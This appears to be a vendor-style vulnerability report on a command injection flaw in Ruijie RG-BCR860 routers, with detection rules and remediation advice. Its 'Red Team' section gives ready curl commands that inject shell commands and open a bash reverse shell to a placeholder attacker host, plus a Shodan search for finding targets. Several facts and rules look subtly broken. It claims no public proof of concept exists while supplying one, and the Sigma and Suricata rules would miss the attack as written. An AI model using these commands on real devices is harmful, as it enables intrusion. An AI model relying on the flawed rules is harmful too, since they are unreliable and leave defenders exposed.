CVE-2025-56109

Executive Summary

CVE-2025-56109 is an OS Command Injection vulnerability in Ruijie RG-BCR860 routers. The flaw resides in the file /usr/lib/lua/luci/control/admin/wireless.lua, specifically within the action_wireless handler. An unauthenticated attacker can send a crafted POST request to inject arbitrary operating system commands, leading to full device compromise. No public proof-of-concept (PoC) or exploit code has been released, and no patch is currently available from the vendor. The vulnerability is classified under MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application) and CWE-78 (Improper Neutralization of Special Elements used in an OS Command).

This report provides a deep technical analysis, detection engineering rules (YARA, Sigma, Suricata), exploitation lab setup guidance, and remediation steps.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official vector assigned)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High
• Threat Level: Critical (estimated)

Deep Dive & Mechanics

The vulnerability exists in the LuCI web interface of Ruijie RG-BCR860 routers. The file /usr/lib/lua/luci/control/admin/wireless.lua contains a function action_wireless that processes POST requests. The input parameters are not properly sanitized before being passed to a shell command execution function (e.g., os.execute() or io.popen()).

An attacker can craft a POST request with malicious payloads in parameters such as ssid, password, or channel. For example:

POST /cgi-bin/luci/admin/wireless HTTP/1.1  
Host: target  
Content-Type: application/x-www-form-urlencoded  

ssid=test&password=test&channel=1;id

The semicolon (;) allows command chaining, and the id command will be executed on the device.

The lack of input validation and the use of shell execution functions without proper escaping enable this injection.

Vulnerable vs. Patched Code

Vulnerable Code (simplified):

-- /usr/lib/lua/luci/control/admin/wireless.lua
function action_wireless()
    local ssid = luci.http.formvalue("ssid")
    local password = luci.http.formvalue("password")
    local channel = luci.http.formvalue("channel")
    os.execute("iwconfig wlan0 essid " .. ssid .. " key " .. password .. " channel " .. channel)
end

Patched Code (hypothetical):

function action_wireless()
    local ssid = luci.http.formvalue("ssid")
    local password = luci.http.formvalue("password")
    local channel = luci.http.formvalue("channel")
    -- Validate and sanitize inputs
    if not (ssid:match("^[%w_%-]+$") and password:match("^[%w_%-]+$") and channel:match("^%d+$")) then
        luci.http.status(400)
        return
    end
    os.execute("iwconfig wlan0 essid " .. luci.util.shellquote(ssid) .. " key " .. luci.util.shellquote(password) .. " channel " .. channel)
end

Exploitation & Lab Setup

Red Team

1. Setup: Deploy a Ruijie RG-BCR860 in an isolated lab network. Ensure the web interface is accessible.
2. Reconnaissance: Scan for the device using Shodan dork Ruijie RG-BCR860 or RG-BCR860 wireless.lua.
3. Exploitation: Send a crafted POST request using curl:

   curl -X POST http://target/cgi-bin/luci/admin/wireless \
     -d "ssid=test&password=test&channel=1;id"
   

   The output of the id command will be returned in the response.
4. Post-Exploitation: Execute reverse shell:

   curl -X POST http://target/cgi-bin/luci/admin/wireless \
     -d "ssid=test&password=test&channel=1;bash -i >& /dev/tcp/attacker/4444 0>&1"
   

Blue Team

1. Detection: Monitor HTTP POST requests to /cgi-bin/luci/admin/wireless with unusual parameters (e.g., semicolons, pipes, backticks).
2. Logging: Enable detailed logging on the router (if possible) or use network monitoring tools to capture POST payloads.
3. Honeypot: Deploy a fake Ruijie RG-BCR860 honeypot to capture attacker behavior.
4. Mitigation: Block access to the web interface from untrusted networks. Use a WAF to filter malicious payloads.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /cgi-bin/luci/admin/wireless with parameters containing shell metacharacters (;, |, `, $())
  • Outbound connections from the router to attacker-controlled IPs on high ports (e.g., 4444)
• File System:
  • Modified /usr/lib/lua/luci/control/admin/wireless.lua (if attacker patches)
  • Presence of reverse shell scripts in /tmp/
• Process:
  • Unusual processes like bash, nc, python running on the router

Detection Engineering

YARA Rule

rule CVE_2025_56109_Ruijie_RG_BCR860_Command_Injection {
    meta:
        description = "Detects OS command injection attempts against Ruijie RG-BCR860 wireless.lua"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-56109"
    strings:
        $post_path = "/cgi-bin/luci/admin/wireless"
        $cmd_chars = /[;&|`$()]/
    condition:
        $post_path and #cmd_chars > 2
}

Sigma Rule

title: Ruijie RG-BCR860 Command Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects POST requests to wireless.lua with shell metacharacters
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/luci/admin/wireless'
        cs-uri-query|contains: 
            - ';'
            - '|'
            - '`'
            - '$('
    condition: selection
falsepositives:
    - Legitimate use of special characters in SSID (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-56109 Ruijie RG-BCR860 Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/cgi-bin/luci/admin/wireless"; http_uri; pcre:"/(;|\||`|\$\().*$/U"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate:

   • Disable remote administration of the router if not required.
   • Restrict access to the web interface to trusted IPs only.
   • Use a Web Application Firewall (WAF) to block malicious POST payloads.

2. Vendor Action:

   • Contact Ruijie for an official patch.
   • Monitor vendor advisories for firmware updates.

3. Long-term:

   • Replace the device with a supported alternative if no patch is released.
   • Implement network segmentation to isolate IoT devices.

Valters IT
Securing Digital Frontiers